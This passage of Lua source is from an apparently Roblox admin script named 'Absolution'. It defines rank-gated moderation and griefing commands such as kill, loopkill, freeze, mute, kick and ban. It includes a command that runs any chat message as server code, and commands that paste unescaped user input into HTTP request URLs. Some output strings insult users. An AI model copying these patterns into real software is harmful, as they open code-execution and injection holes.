| 3233 | Absolution.Functions.Out(Speaker, 'You must think I\'m stupid. The number can\'t be negative!', 4) | |
| 3234 | elseif tonumber(Msg) > 60 then | |
| 3235 | Absolution.Functions.Out(Speaker, 'Wow nice going you stupid abuser. Don\'t play games with me! Make the number smaller.', 4) | |
| 3236 | end | |
| 3237 | end) | |
| 3238 | Absolution.Functions.Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
| |
| 3239 | if Absolution.Functions.GetSplit(Msg) == "u" then | |
| 3240 | Msg = Msg:gsub("-u","")
| |
| 3241 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3242 | if #Players > 0 then | |
| 3243 | for _,v in pairs(Players) do | |
| 3244 | ypcall(function() | |
| 3245 | for _, v2 in pairs(v.Character:GetChildren()) do | |
| 3246 | if v2:IsA("ForceField") then
| |
| 3247 | v2:remove() | |
| 3248 | end | |
| 3249 | end | |
| 3250 | Absolution.Functions.Out(Speaker, 'Removed '..v.Name..'\'s Forcefield.', 1) | |
| 3251 | end) | |
| 3252 | end | |
| 3253 | end | |
| 3254 | else | |
| 3255 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3256 | if #Players > 0 then | |
| 3257 | for _,v in pairs(Players) do | |
| 3258 | ypcall(function() | |
| 3259 | Instance.new("ForceField", v.Character)
| |
| 3260 | Absolution.Functions.Out(Speaker, 'Gave forcefield to '..v.Name..'.', 1) | |
| 3261 | end) | |
| 3262 | end | |
| 3263 | end | |
| 3264 | end | |
| 3265 | end) | |
| 3266 | ||
| 3267 | local HTTP = game:GetService("HttpService")
| |
| 3268 | ||
| 3269 | Absolution.Functions.Command("Dictionary", {"dict","dictionary"}, 1, "Uses dictionary functions", "-e (Example) -d(Define)", function(Speaker, Msg)
| |
| 3270 | local example; | |
| 3271 | if Absolution.Functions.GetSplit(Msg) == "e" then | |
| 3272 | Msg = Msg:gsub('-e','')
| |
| 3273 | example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?example="..Msg.."")
| |
| 3274 | elseif Absolution.Functions.GetSplit(Msg) == "d" then | |
| 3275 | Msg = Msg:gsub('-d','')
| |
| 3276 | example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?define="..Msg.."")
| |
| 3277 | end | |
| 3278 | if example == nil then | |
| 3279 | --Absolution.Functions.Output(Speaker, "Please enter a word", 'Bright blue') | |
| 3280 | Absolution.Functions.Out(Speaker, "Please enter a word", 5) | |
| 3281 | elseif example == "No example found." then | |
| 3282 | --Absolution.Functions.Output(Speaker, "Could not find data for "..Msg, 'Really red') | |
| 3283 | Absolution.Functions.Out(Speaker, "Could not find data for "..Msg, 4) | |
| 3284 | else | |
| 3285 | --Absolution.Functions.Output(Speaker, Msg..": "..example) | |
| 3286 | Absolution.Functions.Out(Speaker, Msg..": "..example, 1) | |
| 3287 | end | |
| 3288 | end) | |
| 3289 | ||
| 3290 | Absolution.Functions.Command("Server IP", {"ip", "serverip"}, 1, "Returns Server IP", "No Flags", function(Speaker, Msg)
| |
| 3291 | local example = HTTP:GetAsync("https://api.ipify.org")
| |
| 3292 | if example == nil then | |
| 3293 | --Absolution.Functions.Output(Speaker, "Could not find IP", 'Bright blue') | |
| 3294 | Absolution.Functions.Out(Speaker, "Could not find IP", 5) | |
| 3295 | elseif example == "IP Not found." then | |
| 3296 | --Absolution.Functions.Output(Speaker, "Could not find data for server.", 'Really red') | |
| 3297 | Absolution.Functions.Out(Speaker, "Could not find data for server.", 4) | |
| 3298 | else | |
| 3299 | --Absolution.Functions.Output(Speaker, "Server IP: "..example) | |
| 3300 | Absolution.Functions.Out(Speaker, "Server IP: "..example, 1) | |
| 3301 | end | |
| 3302 | end) | |
| 3303 | ||
| 3304 | ||
| 3305 | Absolution.Functions.Command("URI Shortener", {"tinyurl",'shorten'}, 1, "Shortens an url", "No Flags", function(Speaker, Msg)
| |
| 3306 | local example = HTTP:GetAsync("https://is.gd/create.php?format=simple&url="..Msg.."")
| |
| 3307 | if example == nil then | |
| 3308 | --Absolution.Functions.Output(Speaker, "Please enter a name", 'Bright blue') | |
| 3309 | Absolution.Functions.Out(Speaker, "Please enter a name", 5) | |
| 3310 | elseif example == "Error: Please enter a valid URL to shorten" then | |
| 3311 | --Absolution.Functions.Output(Speaker, "URL: "..Msg..", is not valid", 'Really red') | |
| 3312 | Absolution.Functions.Out(Speaker, "URL: "..Msg..", is not valid", 4) | |
| 3313 | else | |
| 3314 | --Absolution.Functions.Output(Speaker,"URL: "..example..".") | |
| 3315 | Absolution.Functions.Out(Speaker, "URL: "..example..".", 1) | |
| 3316 | end | |
| 3317 | end) | |
| 3318 | ||
| 3319 | Absolution.Functions.Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
| |
| 3320 | if Absolution.Functions.GetSplit(Msg) == "u" then | |
| 3321 | Msg = Msg:gsub("-u","")
| |
| 3322 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3323 | if #Players > 0 then | |
| 3324 | for _,v in pairs(Players) do | |
| 3325 | ypcall(function() | |
| 3326 | for __,vv in pairs(v.Character:GetChildren()) do | |
| 3327 | if vv:IsA('Humanoid') then
| |
| 3328 | vv.Name = 'Humanoid' | |
| 3329 | vv.MaxHealth = 100 | |
| 3330 | vv.Health = 100 | |
| 3331 | end | |
| 3332 | end | |
| 3333 | Absolution.Functions.Out(Speaker, "Un-Goded "..v.Name..".", 1) | |
| 3334 | end) | |
| 3335 | end | |
| 3336 | end | |
| 3337 | else | |
| 3338 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3339 | if #Players > 0 then | |
| 3340 | for _,v in pairs(Players) do | |
| 3341 | ypcall(function() | |
| 3342 | for __,vv in pairs(v.Character:GetChildren()) do | |
| 3343 | if vv:IsA('Humanoid') then
| |
| 3344 | vv.Name = 'lal_its_a_humanoid' | |
| 3345 | vv.MaxHealth = math.huge | |
| 3346 | end | |
| 3347 | end | |
| 3348 | Absolution.Functions.Out(Speaker, "Goded "..v.Name..".", 1) | |
| 3349 | end) | |
| 3350 | end | |
| 3351 | end | |
| 3352 | end | |
| 3353 | end) | |
| 3354 | Absolution.Functions.Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
| |
| 3355 | if Absolution.Functions.GetSplit(Msg) == "u" then | |
| 3356 | Msg = Msg:gsub("-u","")
| |
| 3357 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3358 | if #Players > 0 then | |
| 3359 | for _,v in pairs(Players) do | |
| 3360 | ypcall(function() | |
| 3361 | for _,v in pairs(v.Character:GetChildren()) do | |
| 3362 | if v:IsA("Part") then
| |
| 3363 | v.Anchored = false | |
| 3364 | end | |
| 3365 | end | |
| 3366 | pcall(function() v.Character.FrozenBlock:remove() end) | |
| 3367 | Absolution.Functions.Out(Speaker, "Thawed "..v.Name..".", 1) | |
| 3368 | end) | |
| 3369 | end | |
| 3370 | end | |
| 3371 | else | |
| 3372 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3373 | if #Players > 0 then | |
| 3374 | for _,v in pairs(Players) do | |
| 3375 | ypcall(function() | |
| 3376 | pcall(function() v.Character.FrozenBlock:remove() end) | |
| 3377 | for _,v in pairs(v.Character:GetChildren()) do | |
| 3378 | if v:IsA("Part") then
| |
| 3379 | v.Anchored = true | |
| 3380 | end | |
| 3381 | end | |
| 3382 | local b = Instance.new("Part", v.Character)
| |
| 3383 | b.Anchored = true | |
| 3384 | b.Locked = true | |
| 3385 | b.TopSurface, b.BottomSurface = 0,0 | |
| 3386 | b.Color = BrickColor.new("Light blue").Color
| |
| 3387 | b.Size = Vector3.new(5,10,5) | |
| 3388 | b.Transparency = 0.5 | |
| 3389 | b.Name = "FrozenBlock" | |
| 3390 | b.CFrame = v.Character.Torso.CFrame | |
| 3391 | local Weld = Instance.new("Weld", b)
| |
| 3392 | Weld.Name = "FrozenWeld" | |
| 3393 | Weld.Part0 = v.Character.Torso | |
| 3394 | Weld.Part1 = b | |
| 3395 | Absolution.Functions.Out(Speaker, "Froze "..v.Name..".", 1) | |
| 3396 | end) | |
| 3397 | end | |
| 3398 | end | |
| 3399 | end | |
| 3400 | end) | |
| 3401 | Absolution.Functions.Command("Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
| |
| 3402 | local Split = Msg:find('/')--('/')
| |
| 3403 | local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3404 | local Speed = tonumber(Msg:sub(Split + 1)) | |
| 3405 | for _,v in pairs(Player) do | |
| 3406 | ypcall(function() | |
| 3407 | v.Character.Humanoid.WalkSpeed = Speed | |
| 3408 | Absolution.Functions.Out(Speaker, "Gave "..Speed.." walkspeed to "..v.Name".", 1) | |
| 3409 | end) | |
| 3410 | end | |
| 3411 | end) | |
| 3412 | Absolution.Functions.Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
| |
| 3413 | if Absolution.Functions.GetSplit(Msg) == "u" then | |
| 3414 | Msg = Msg:gsub("-u", "")
| |
| 3415 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3416 | if #Players > 0 then | |
| 3417 | for _,v in pairs(Players) do | |
| 3418 | ypcall(function() | |
| 3419 | for _,c in pairs(v.Character:GetChildren()) do | |
| 3420 | if c.ClassName == "Part" then | |
| 3421 | c.Transparency = 0 | |
| 3422 | end | |
| 3423 | if c:findFirstChild("face") then
| |
| 3424 | c.face.Transparency = 0 | |
| 3425 | end | |
| 3426 | if c:findFirstChild("Handle") then
| |
| 3427 | c.Handle.Transparency = 0 | |
| 3428 | end | |
| 3429 | end | |
| 3430 | Absolution.Functions.Out(Speaker, "Made "..v.Name.." visible.", 1) | |
| 3431 | end) | |
| 3432 | end | |
| 3433 | end | |
| 3434 | else | |
| 3435 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3436 | if #Players > 0 then | |
| 3437 | for _,v in pairs(Players) do | |
| 3438 | ypcall(function() | |
| 3439 | for _,c in pairs(v.Character:GetChildren()) do | |
| 3440 | if c.ClassName == "Part" then | |
| 3441 | c.Transparency = 1 | |
| 3442 | end | |
| 3443 | if c:findFirstChild("face") then
| |
| 3444 | c.face.Transparency = 1 | |
| 3445 | end | |
| 3446 | if c:findFirstChild("Handle") then
| |
| 3447 | c.Handle.Transparency = 1 | |
| 3448 | end | |
| 3449 | end | |
| 3450 | Absolution.Functions.Out(Speaker, "Made "..v.Name.." invisible.", 1) | |
| 3451 | end) | |
| 3452 | end | |
| 3453 | end | |
| 3454 | end | |
| 3455 | end) | |
| 3456 | -- Rank 2 -- | |
| 3457 | Absolution.Functions.Command("Private Base Teleport",{"tpb"}, 2, "Teleports a player to the Private Base", "No Flags", function(Speaker, Msg)
| |
| 3458 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3459 | for i,v in pairs(Players) do | |
| 3460 | pcall(function() | |
| 3461 | if not v.Character then v:LoadCharacter() end | |
| 3462 | if v.Character:findFirstChild'Humanoid'.Sit==true then v.Character.Humanoid.Jump = true end | |
| 3463 | v.Character.Torso.RotVelocity = Vector3.new(0,0,0) | |
| 3464 | wait() | |
| 3465 | v.Character:MoveTo(Absolution.Services.Workspace.Terrain:FindFirstChild'AbsolutionBase'.Position+Vector3.new(0,10,0)) | |
| 3466 | Absolution.Functions.Out(Speaker, "Teleported "..v.Name.." to the private base.", 1) | |
| 3467 | end) | |
| 3468 | end | |
| 3469 | end) | |
| 3470 | Absolution.Functions.Command("Btools",{"bt",'btools'}, 2, "Gives u da btools!", "No Flags", function(Speaker, Msg)
| |
| 3471 | Absolution.Functions.createLocalScript('TerrainBrushScript', Speaker:WaitForChild('Backpack'), 'le terrain!')
| |
| 3472 | script.Bin:FindFirstChild("Building Tools"):Clone().Parent = Speaker:WaitForChild('Backpack')
| |
| 3473 | Absolution.Functions.Out(Speaker, "Got btools.", 1) | |
| 3474 | end) | |
| 3475 | Absolution.Functions.Command("Search Music",{"sm","srchm","searchm"}, 2, "Searches catalog for music", "No Flags", function(Speaker, Msg)
| |
| 3476 | Absolution.Functions.Dismiss(Speaker) | |
| 3477 | Absolution.Functions.Output(Speaker,'Retrieving data...') | |
| 3478 | local Audio = Absolution.Functions.GetCatalog(Msg, 9) | |
| 3479 | local Hats = Absolution.Functions.GetCatalog(Msg, 3) | |
| 3480 | local Gear = Absolution.Functions.GetCatalog(Msg, 5) | |
| 3481 | Absolution.Functions.Dismiss(Speaker) | |
| 3482 | Absolution.Functions.Output(Speaker, "Audio:\n"..#Audio, "White", function() | |
| 3483 | Absolution.Functions.Dismiss(Speaker) | |
| 3484 | for _, Data in pairs(Audio) do | |
| 3485 | Absolution.Functions.Output(Speaker, Data.Name, "White", function() | |
| 3486 | Absolution.Functions.Dismiss(Speaker) | |
| 3487 | local datasafe = {
| |
| 3488 | ["Name"] = Data.Name, | |
| 3489 | ["CreatorID"] = Data.CreatorID, | |
| 3490 | ["isLimited"] = Data.isLimited, | |
| 3491 | ["Sales"] = Data.Sales, | |
| 3492 | ["Favorited"] = Data.Favorited, | |
| 3493 | ["Description"] = Data.Description, | |
| 3494 | ["IsForSale"] = Data.IsForSale, | |
| 3495 | ["Creator"] = Data.Creator, | |
| 3496 | ["Updated"] = Data.Updated, | |
| 3497 | } | |
| 3498 | for i,v in pairs(datasafe) do | |
| 3499 | pcall(function() | |
| 3500 | Absolution.Functions.Output(Speaker,i..': '..tostring(v)) | |
| 3501 | end) | |
| 3502 | end | |
| 3503 | Absolution.Functions.Output(Speaker, 'Play '..Data.Name, 'White', function()Absolution.Functions.PlayAudio(Speaker,Data.AssetId) Absolution.Functions.Out(Speaker, "Playing "..Data.Name..".", 1)end) | |
| 3504 | end) | |
| 3505 | end | |
| 3506 | end) | |
| 3507 | Absolution.Functions.Output(Speaker, "Hats:\n"..#Hats, "Bright violet", function() | |
| 3508 | Absolution.Functions.Dismiss(Speaker) | |
| 3509 | for _, Data in pairs(Hats) do | |
| 3510 | Absolution.Functions.Output(Speaker, Data.Name.."\n("..Data.AssetId..")", "Bright violet", function()
| |
| 3511 | for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do | |
| 3512 | if Speaker.Character then | |
| 3513 | Child.Parent = Speaker.Character | |
| 3514 | Absolution.Functions.Dismiss(Speaker) | |
| 3515 | Absolution.Functions.Out(Speaker, "Got hat "..Data.Name.." ("..Data.AssetId..").", 1)
| |
| 3516 | end | |
| 3517 | end | |
| 3518 | end) | |
| 3519 | end | |
| 3520 | end) | |
| 3521 | Absolution.Functions.Output(Speaker, "Gear:\n"..#Gear, "Bright green", function() | |
| 3522 | Absolution.Functions.Dismiss(Speaker) | |
| 3523 | for _, Data in pairs(Gear) do | |
| 3524 | Absolution.Functions.Output(Speaker, Data.Name..":\n"..Data.AssetId, "Bright green", function() | |
| 3525 | for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do | |
| 3526 | Child.Parent = Speaker:FindFirstChild("Backpack") or Absolution.Services.Workspace
| |
| 3527 | Absolution.Functions.Dismiss(Speaker) | |
| 3528 | Absolution.Functions.Out(Speaker, "Got gear "..Data.Name.." ("..Data.AssetId..").", 1)
| |
| 3529 | end | |
| 3530 | end) | |
| 3531 | end | |
| 3532 | end) | |
| 3533 | end) | |
| 3534 | ||
| 3535 | Absolution.Functions.Command('Script',{'skrip','skript','cancer','syntax'}, 2, 'Creates a new script with msg as source', 'No flags', function(Speaker, Msg)
| |
| 3536 | if #Msg > 0 then | |
| 3537 | Absolution.Functions.createScript(Msg, Absolution.Services.Workspace, Speaker.Name..tick()) | |
| 3538 | Absolution.Functions.Out(Speaker, "Creating normal script.", 1) | |
| 3539 | end | |
| 3540 | end) | |
| 3541 | Absolution.Functions.Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets) -c (Chat)", function(Speaker,Msg)
| |
| 3542 | if Absolution.Functions.GetSplit(Msg) == "h" then | |
| 3543 | Msg = Msg:gsub("-h", "")
| |
| 3544 | local m = Instance.new("Hint", Absolution.Services.Workspace)
| |
| 3545 | m.Text = Msg | |
| 3546 | Absolution.Services.Debris:AddItem(m, 3) | |
| 3547 | elseif Absolution.Functions.GetSplit(Msg) == "hg" then | |
| 3548 | Msg = Msg:gsub("-hg", "")
| |
| 3549 | Absolution.Functions.Announce(Msg, false) | |
| 3550 | elseif Absolution.Functions.GetSplit(Msg) == "t" then | |
| 3551 | Msg = Msg:gsub("-t", "")
| |
| 3552 | Absolution.Functions.Output("All",Speaker.Name..": "..Msg, "Random", nil, 3)
| |
| 3553 | elseif Absolution.Functions.GetSplit(Msg) == "c" then | |
| 3554 | Msg = Msg:gsub("-c", "")
| |
| 3555 | Absolution.Handler.sendChat(Msg, nil, Speaker.Name) | |
| 3556 | Absolution.Functions.Out('All', Speaker.Name..': '..Msg, 5)
| |
| 3557 | elseif Absolution.Functions.GetSplit(Msg) == "m" then | |
| 3558 | Msg = Msg:gsub("-m", "")
| |
| 3559 | local m = Instance.new("Message", Absolution.Services.Workspace)
| |
| 3560 | m.Text = Speaker.Name..": "..Msg | |
| 3561 | Absolution.Services.Debris:AddItem(m, 3) | |
| 3562 | else | |
| 3563 | Absolution.Functions.Announce(Msg, true) | |
| 3564 | end | |
| 3565 | end) | |
| 3566 | -- Rank 3 -- | |
| 3567 | Absolution.Functions.Command("Hamster Ball", {"ball"}, 3, "Gives the speaker a hamster ball.", "No Flags",function(Speaker, Msg)
| |
| 3568 | if Speaker.Character then | |
| 3569 | if Speaker.Character:findFirstChild'Torso' then | |
| 3570 | local pos = Speaker.Character.Torso.Position | |
| 3571 | Absolution.Functions.MakeBall(pos) | |
| 3572 | Absolution.Functions.Out(Speaker, "Got ball.", 1) | |
| 3573 | end | |
| 3574 | end | |
| 3575 | end) | |
| 3576 | --[[ | |
| 3577 | Absolution.Functions.Command("Blind", {"blnd",'nosee','bgui','blind'}, 3, "Toggles a player's blind", "No Flags",function(Speaker, Msg)
| |
| 3578 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3579 | local Status; | |
| 3580 | Absolution.Functions.Dismiss(Speaker) | |
| 3581 | if #Players > 0 then | |
| 3582 | for _,v in pairs(Players) do | |
| 3583 | coroutine.wrap(function() | |
| 3584 | ypcall(function() | |
| 3585 | Status = Absolution.Handler:sendPacket(v, 'Blind',{})
| |
| 3586 | Absolution.Functions.Out(Speaker, "Blinded "..v.Name..".", 1) | |
| 3587 | end) | |
| 3588 | end) | |
| 3589 | end | |
| 3590 | end | |
| 3591 | end)--]] | |
| 3592 | Absolution.Functions.Command("Mute", {"mute"}, 3, "Mutes A Player", "-u (UnMute)", function(Speaker, Msg)
| |
| 3593 | if Absolution.Functions.GetSplit(Msg) == "u" then | |
| 3594 | Msg = Msg:gsub("-u","")
| |
| 3595 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3596 | if #Players > 0 then | |
| 3597 | for _,v in pairs(Players) do | |
| 3598 | ypcall(function() | |
| 3599 | Absolution.Handler:sendPacket(v, "unmute") | |
| 3600 | Absolution.Functions.Out(Speaker, "Unmuted "..v.Name..".", 1) | |
| 3601 | end) | |
| 3602 | end | |
| 3603 | end | |
| 3604 | else | |
| 3605 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3606 | if #Players > 0 then | |
| 3607 | for _,v in pairs(Players) do | |
| 3608 | ypcall(function() | |
| 3609 | Absolution.Handler:sendPacket(v, "mute") | |
| 3610 | Absolution.Functions.Out(Speaker, "Muted "..v.Name..".", 1) | |
| 3611 | end) | |
| 3612 | end | |
| 3613 | end | |
| 3614 | end | |
| 3615 | end) | |
| 3616 | Absolution.Functions.Command("Remove hats", {'nohats','nohat','nh','removehats','bald'}, 3, "Removes a player's hats", "No Flags", function(Speaker, Msg)
| |
| 3617 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3618 | if #Players > 0 then | |
| 3619 | for _,v in pairs(Players) do | |
| 3620 | ypcall(function() | |
| 3621 | if v.Character then | |
| 3622 | for i,v in pairs(v.Character:children()) do | |
| 3623 | if v:IsA('Hat') then
| |
| 3624 | v:Destroy() | |
| 3625 | end | |
| 3626 | end | |
| 3627 | end | |
| 3628 | Absolution.Functions.Out(Speaker, "Removed "..v.Name.."'s hats", 1) | |
| 3629 | end) | |
| 3630 | end | |
| 3631 | else | |
| 3632 | Absolution.Functions.Output(Speaker, 'No players defined.','Really red') | |
| 3633 | end | |
| 3634 | end) | |
| 3635 | Absolution.Functions.Command("GetPlayerInfo", {"pinfo",'showdata','pdata','ginfo'}, 3, "Gets a players info", "No Flags", function(Speaker, Msg)
| |
| 3636 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3637 | if #Players <= 1 then | |
| 3638 | for _,v in pairs(Players) do | |
| 3639 | ypcall(function() | |
| 3640 | Absolution.Functions.ShowData(Speaker, v) | |
| 3641 | Absolution.Functions.Out(Speaker, "Got "..v.Name.."'s data.", 1) | |
| 3642 | end) | |
| 3643 | end | |
| 3644 | else | |
| 3645 | Absolution.Functions.Output(Speaker, 'Too many players!','Really red') | |
| 3646 | end | |
| 3647 | end) | |
| 3648 | -- Rank 4 -- | |
| 3649 | Absolution.Functions.Command("Full Clean", {"fullclean", "fc", "fclean"}, 4, "Full Cleans The Server", '-f (Full Clean)', function(Speaker, Msg)
| |
| 3650 | if Absolution.Functions.GetSplit(Msg) == "f" then | |
| 3651 | Absolution.Functions.FullClean() | |
| 3652 | else | |
| 3653 | Absolution.Functions.CleanWorkspace() | |
| 3654 | end | |
| 3655 | Absolution.Functions.Out(Speaker, "Got clean.", 5) | |
| 3656 | end) | |
| 3657 | Absolution.Functions.Command("Kill", {"kill"}, 4, "Kills A Player", "-l (Loopkill) -ul (Unloopkill) -s (Smite) -r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
| |
| 3658 | if Absolution.Functions.GetSplit(Msg) == "r" then | |
| 3659 | Msg = Msg:gsub("-r","")
| |
| 3660 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3661 | if #Players > 0 then | |
| 3662 | for _,v in pairs(Players) do | |
| 3663 | ypcall(function() | |
| 3664 | v:LoadCharacter() | |
| 3665 | Absolution.Functions.Out(Speaker, "Respawned "..v.Name..".", 5) | |
| 3666 | end) | |
| 3667 | end | |
| 3668 | end | |
| 3669 | elseif Absolution.Functions.GetSplit(Msg) == "s" then | |
| 3670 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3671 | if #Players > 0 then | |
| 3672 | for _,v in pairs(Players) do | |
| 3673 | for _,i in pairs(v.Character:children()) do | |
| 3674 | if i:IsA'BasePart' then | |
| 3675 | local Sparkles = Instance.new("Sparkles",i)
| |
| 3676 | Sparkles.Color = Color3.new(math.random(),math.random(),math.random()) | |
| 3677 | local Ex = Instance.new("Explosion",Absolution.Services.Workspace)
| |
| 3678 | Ex.Position = i.Position | |
| 3679 | Ex.BlastPressure = 1e105 | |
| 3680 | i:BreakJoints() | |
| 3681 | i.Velocity = Vector3.new(math.random(-250,250),math.random(100,250),math.random(-250,250)) | |
| 3682 | coroutine.wrap(function() | |
| 3683 | for b=1,5,0.5 do | |
| 3684 | i.Size=Vector3.new(b,b,b) | |
| 3685 | wait(0.01) | |
| 3686 | end | |
| 3687 | end)() | |
| 3688 | end | |
| 3689 | end | |
| 3690 | local Base=Instance.new'Part' | |
| 3691 | pcall(function() | |
| 3692 | Base.Size=Vector3.new(5,1,3) | |
| 3693 | Base.Color=Color3.new(BrickColor.new'Bright yellow') | |
| 3694 | Base.Anchored=true | |
| 3695 | Base.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y - 6,v.Character.Torso.CFrame.z) | |
| 3696 | coroutine.wrap(function() | |
| 3697 | for i=0,1,0.1 do | |
| 3698 | Base.Transparency=i | |
| 3699 | wait() | |
| 3700 | end | |
| 3701 | Base:Destroy() | |
| 3702 | end)() | |
| 3703 | end) | |
| 3704 | end | |
| 3705 | end | |
| 3706 | elseif Absolution.Functions.GetSplit(Msg) == "e" then | |
| 3707 | Msg = Msg:gsub("-e", "")
| |
| 3708 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3709 | if #Players > 0 then | |
| 3710 | for _,v in pairs(Players) do | |
| 3711 | ypcall(function() | |
| 3712 | local e = Instance.new'Explosion' | |
| 3713 | e.Parent = Absolution.Services.Workspace | |
| 3714 | e.BlastRadius = 10 | |
| 3715 | e.BlastPressure = 10000 | |
| 3716 | e.Position = v.Character.Torso.Position | |
| 3717 | Absolution.Functions.Out(Speaker, "Exploded "..v.Name..".", 5) | |
| 3718 | end) | |
| 3719 | end | |
| 3720 | end | |
| 3721 | elseif Absolution.Functions.GetSplit(Msg) == "l" then | |
| 3722 | Msg = Msg:gsub("-l", "")
| |
| 3723 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3724 | if #Players > 0 then | |
| 3725 | for _,v in pairs(Players) do | |
| 3726 | ypcall(function() | |
| 3727 | if Absolution.Connections.Killing[v.Name] then | |
| 3728 | return Absolution.Functions.Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3) | |
| 3729 | end | |
| 3730 | Absolution.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character) | |
| 3731 | wait() | |
| 3732 | Character:BreakJoints() | |
| 3733 | end) | |
| 3734 | v.Character:BreakJoints() | |
| 3735 | end) | |
| 3736 | end | |
| 3737 | end | |
| 3738 | elseif Absolution.Functions.GetSplit(Msg) == "ul" then | |
| 3739 | Msg = Msg:gsub("-ul", "")
| |
| 3740 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3741 | if #Players > 0 then | |
| 3742 | for _,v in pairs(Players) do | |
| 3743 | ypcall(function() | |
| 3744 | if Absolution.Connections.Killing[v.Name] then | |
| 3745 | Absolution.Connections.Killing[v.Name]:disconnect() | |
| 3746 | Absolution.Connections.Killing[v.Name] = nil | |
| 3747 | end | |
| 3748 | end) | |
| 3749 | end | |
| 3750 | end | |
| 3751 | elseif Absolution.Functions.GetSplit(Msg) == "w" then | |
| 3752 | Msg = Msg:gsub("-w", "")
| |
| 3753 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3754 | if #Players > 0 then | |
| 3755 | for _,v in pairs(Players) do | |
| 3756 | ypcall(function() | |
| 3757 | v.Character.Humanoid.WalkSpeed = "99e999" | |
| 3758 | Absolution.Functions.Out(Speaker, "Walkspeed killed "..v.Name..".", 5) | |
| 3759 | end) | |
| 3760 | end | |
| 3761 | end | |
| 3762 | else | |
| 3763 | local Players = Absolution.Functions.getPlayers(Speaker, Msg) | |
| 3764 | if #Players > 0 then | |
| 3765 | for _,v in pairs(Players) do | |
| 3766 | ypcall(function() | |
| 3767 | v.Character:BreakJoints() | |
| 3768 | Absolution.Functions.Out(Speaker, "Killed "..v.Name..".", 5) | |
| 3769 | end) | |
| 3770 | end | |
| 3771 | end | |
| 3772 | end | |
| 3773 | end) | |
| 3774 | Absolution.Functions.Command("Kick", {"kick", "leave", "bai", "kk", "sbban", "gtfo", "kys", "dc"}, 4, "Kicks A Player", "-t (Tempban) -b (Banish) -c (Crash) -n (Nil) -r (Rejoin)",function(Speaker, Msg)
| |
| 3775 | local Split = Msg:find("/")
| |
| 3776 | local tbsr = Msg:find";" | |
| 3777 | if Absolution.Functions.GetSplit(Msg) == "b" then | |
| 3778 | if Absolution.Functions:findRank(Speaker) < 6 then | |
| 3779 | return Absolution.Functions.Output(Speaker, "You're not a high enough rank to use this flag!", "Really red") | |
| 3780 | end | |
| 3781 | local Reason = (Msg:sub(Split + 1)..' ('..Speaker.Name..')'):gsub('-b','')
| |
| 3782 | Msg = Msg:gsub("-b","")
| |
| 3783 | local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1)) | |
| 3784 | if #Players > 0 then | |
| 3785 | for _,v in pairs(Players) do | |
| 3786 | if Absolution.Functions:findRank(v) >= 3 then | |
| 3787 | ypcall(function() | |
| 3788 | Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm PERMANENT ban for: '..Reason,'Really red',function() | |
| 3789 | Absolution.Functions.getRankedTable(v.Name).Rank = -1 | |
| 3790 | Absolution.Functions.getRankedTable(v.Name).Description = Reason | |
| 3791 | --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error') | |
| 3792 | Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error') | |
| 3793 | Absolution.Functions.Out(Speaker, "You banned "..v.Name.." for "..Reason..".", 5) | |
| 3794 | wait() | |
| 3795 | Absolution.Functions.syncRankOut(v) | |
| 3796 | v:Kick('You were banned for '..Reason)
| |
| 3797 | end) | |
| 3798 | end) | |
| 3799 | else | |
| 3800 | ypcall(function() | |
| 3801 | Absolution.Functions.getRankedTable(v.Name).Rank = -1 | |
| 3802 | Absolution.Functions.getRankedTable(v.Name).Description = Reason | |
| 3803 | --Absolution.Functions.sbOutput(v.Name..' was banned for '..Reason, 'Error') | |
| 3804 | Absolution.Functions.Announce(v.Name..' was banned for '..Reason, 'Error') | |
| 3805 | Absolution.Functions.Out('All', v.Name..' was banned for '..Reason..'.', 5)
| |
| 3806 | wait() | |
| 3807 | Absolution.Functions.syncRankOut(v) | |
| 3808 | v:Kick('You were banned for '..Reason)
| |
| 3809 | end) | |
| 3810 | end | |
